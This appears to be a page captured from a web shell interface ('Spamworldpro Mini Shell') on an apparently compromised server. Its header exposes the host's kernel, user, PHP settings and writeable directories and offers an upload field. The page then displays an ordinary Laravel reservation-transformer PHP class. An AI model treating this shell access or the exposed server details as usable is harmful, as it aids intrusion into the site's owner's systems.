Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Reservation/Transformers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Reservation/Transformers/ReservationTransformer.php
<?php

namespace Corals\Modules\Reservation\Transformers;

use Corals\Foundation\Transformers\BaseTransformer;
use Corals\Modules\Reservation\Facades\ReservationFacade;
use Corals\Modules\Reservation\Models\Reservation;
use Corals\Modules\Reservation\Models\Service;
use Illuminate\Support\Str;

class ReservationTransformer extends BaseTransformer
{
    public function __construct($extras = [])
    {
        $this->resource_url = config('reservation.models.reservation.resource_url');

        parent::__construct($extras);
    }

    /**
     * @param Reservation $reservation
     * @return array
     * @throws \Throwable
     */
    public function transform(Reservation $reservation)
    {
        $transformedArray = [
            'id' => $reservation->id,

            'code' => HtmlElement('a', ['href' => $reservation->getShowURL()], $reservation->code),
            'owner_type' => $reservation->owner_type,

            'owner' => optional($reservation->owner, function ($owner) {
                    return $owner->present('name');
                }) ?? '-',

            'object_type' => $reservation->object_type,
            'status' => ReservationFacade::reservationStatusColoring($reservation->status),
            'object' => $reservation->object_type === getMorphAlias(Service::class) ? $reservation->service->present('name') : $reservation->object->present('identifier'),
            'starts_at' => format_date_time($reservation->starts_at),
            'ends_at' => format_date_time($reservation->ends_at),
            'service' => $reservation->service->present('name'),
            'quantity' => $reservation->quantity ?? 1,
            'period' => $this->formatPeriod($reservation->period_in_minutes),
            'notes' => $reservation->notes ?? '-',
            'created_at' => format_date($reservation->created_at),
            'updated_at' => format_date($reservation->updated_at),
            'action' => $this->actions($reservation)
        ];

        return parent::transformResponse($transformedArray);
    }

    protected function formatPeriod($periodInMinutes)
    {
        if (!$periodInMinutes) {
            return '-';
        }

        $hour = 60;
        $day = $hour * 24;
        $week = $day * 7;
        $month = $day * 30;
        $year = $day * 365;

        $periods = [
            'year' => $year,
            'month' => $month,
            'week' => $week,
            'day' => $day,
            'hour' => $hour,
            'minute' => 1
        ];

        $output = [];

        foreach ($periods as $period_name => $period) {
            $value = floor($periodInMinutes / $period);

            if (!$value) {
                continue;
            }

            $output[] = sprintf("%s %s", $value, Str::plural($period_name, $value));

            $periodInMinutes -= $value * $period;
        }

        return ucwords(implode(' : ', $output));
    }
}

Spamworldpro Mini